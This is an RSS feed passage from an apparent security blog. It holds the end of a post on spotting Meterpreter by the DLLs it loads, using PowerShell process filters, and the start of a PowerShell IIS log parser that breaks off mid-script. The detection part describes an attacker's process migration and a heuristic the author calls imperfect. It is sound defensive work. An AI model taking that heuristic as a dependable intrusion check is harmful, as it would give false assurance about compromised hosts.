eq iphlpapi.dll"&lt;/PRE&gt;PowerShell&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"}&lt;/PRE&gt;The problem is, some processes load these dll's so it isn't a 100% sign of pwnage. The processes include:&lt;BR&gt;&lt;PRE&gt;explorer.exe&lt;BR&gt;iexplore.exe&lt;BR&gt;lsass.exe&lt;BR&gt;svchost.exe&lt;BR&gt;winlogon.exe&lt;/PRE&gt;If IE were compromised it wouldn't be obvious, but it is obvious if Icecast was.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;explorer&lt;BR&gt;&lt;STRONG&gt;Icecast2&lt;/STRONG&gt;&lt;BR&gt;IEXPLORE&lt;BR&gt;lsass&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;winlogon&lt;/PRE&gt;It is also apparent if meterpreter has been migrated to a process that doesn't normally load the dll's. In my testing I migrated to calc. Here are the results now.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;&lt;STRONG&gt;calc&lt;/STRONG&gt;&lt;BR&gt;explorer&lt;BR&gt;&lt;STRONG&gt;Icecast2&lt;/STRONG&gt;&lt;BR&gt;IEXPLORE&lt;BR&gt;lsass&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;winlogon&lt;/PRE&gt;If we had a baseline of processes that load these dll's then we can use PowerShell to filter out processes that don't normally load the dll's.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*" -and &lt;BR&gt;  "explorer","iexplore","lsass","svchost","winlogon" -notcontains&amp;nbsp; $_.ProcessName }&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;calc&lt;BR&gt;Icecast2&lt;/PRE&gt;
&lt;P&gt;In this example Icecast2 was the initial point of compromise and meterpreter has migrated to calc.&lt;BR&gt;&lt;BR&gt;While this isn't a perfect way to find meterpreter it is better than nothing.&lt;BR&gt;&lt;BR&gt;UPDATE:&lt;BR&gt;According to Stephen Fewer, one of the MetaSploit developers:&lt;BR&gt;iphlpapi.dll is imported by the meterpreters stdapi extension for the route and ipconfig commands.&lt;/P&gt;
&lt;P&gt;rsaenh.dll (The Microsoft Enhanced Cryptographic Provider DLL) is being loaded via advapi32.dll after a call from the openssl subsystem within meterpreter calling advapi32!CryptAcquireContext[1]&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2010/01/31/finding-meterpreter.aspx#Comments</comments><guid isPermaLink="false">5e3a7c1b-8004-4039-a655-30719d4d72c6</guid><pubDate>Mon, 01 Feb 2010 00:52:00 GMT</pubDate></item><item><title>PowerShell IIS Log Objectifier</title><link>http://blog.securitywhole.com/2010/01/18/powershell-iis-log-parser.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>This script will read the W3C Extended Log File Format with the default logging options. If you add or remove columns from your log then you will have to modify this script.&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt; &lt;BR&gt;&lt;BR&gt;################################################################&lt;BR&gt;# Description: IIS Log Importer&lt;BR&gt;# Version: 1.0 &lt;BR&gt;# Author: Tim Medin&lt;BR&gt;# Email: TimMedin A@T securitywhole D.O.T com&lt;BR&gt;# Note: This script will read the W3C Extended Log File Format&lt;BR&gt;# with the default logging options. If you add or remove columns&lt;BR&gt;# from your log then you will have to modify this script.&lt;BR&gt;################################################################&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;BR&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;BR&gt;&amp;nbsp; [&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Path&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;&lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;]&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;'\s*(?&amp;lt;date&amp;gt;\S+)\s+(?&amp;lt;time&amp;gt;\S+)\s+(?&amp;lt;sitename&amp;gt;\S+)\s+(?&amp;lt;computername&amp;gt;\S+)\s+(?&amp;lt;ip&amp;gt;\S+)\s+(?&amp;lt;method&amp;gt;\S+)\s+(?&amp;lt;uristem&amp;gt;\S+)\s+(?&amp;lt;uriquery&amp;gt;\S+)\s+(?&amp;lt;port&amp;gt;\S+)\s+(?&amp;lt;username&amp;gt;\S+)\s+(?&amp;lt;sourceip&amp;gt;\S+)\s+(?&amp;lt;UserAgent&amp;gt;\S+)\s+(?&amp;lt;status&amp;gt;\S+)\s+(?&amp;lt;substatus&amp;gt;\S+)\s+(?&amp;lt;win32status&amp;gt;\S*)'&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;BR&gt;Get-Content&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Path&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | &lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;Select-String&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;I&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;-Pattern&lt;/I&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"^[^#]"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | &lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;%&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&amp;nbsp; if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-match&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;""&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | Select&amp;nbsp;TimeStamp, SiteName, ComputerName, IP, Method, UriStem, UriQuery, Port, Username, SourceIp, UserAgent, Status, SubStatus, Win32Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.TimeStamp &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;FONT color=#5f9ea0&gt;&lt;STRONG&gt;Get-Date &lt;/STRONG&gt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;"$(&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Date&lt;FONT color=#800000&gt;) $(&lt;/FONT&gt;&lt;FONT color=#800080&gt;$matches&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Time&lt;FONT color=#800000&gt;)"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Sitename &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Sitename&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Computername &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Computername&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Ip &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Ip&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Method &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Method&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriStem &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriStem&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriQuery &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UriQuery&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Port &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Port&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Username &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Username&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SourceIp &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SourceIp&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UserAgent &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.UserAgent&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Status &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SubStatus &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 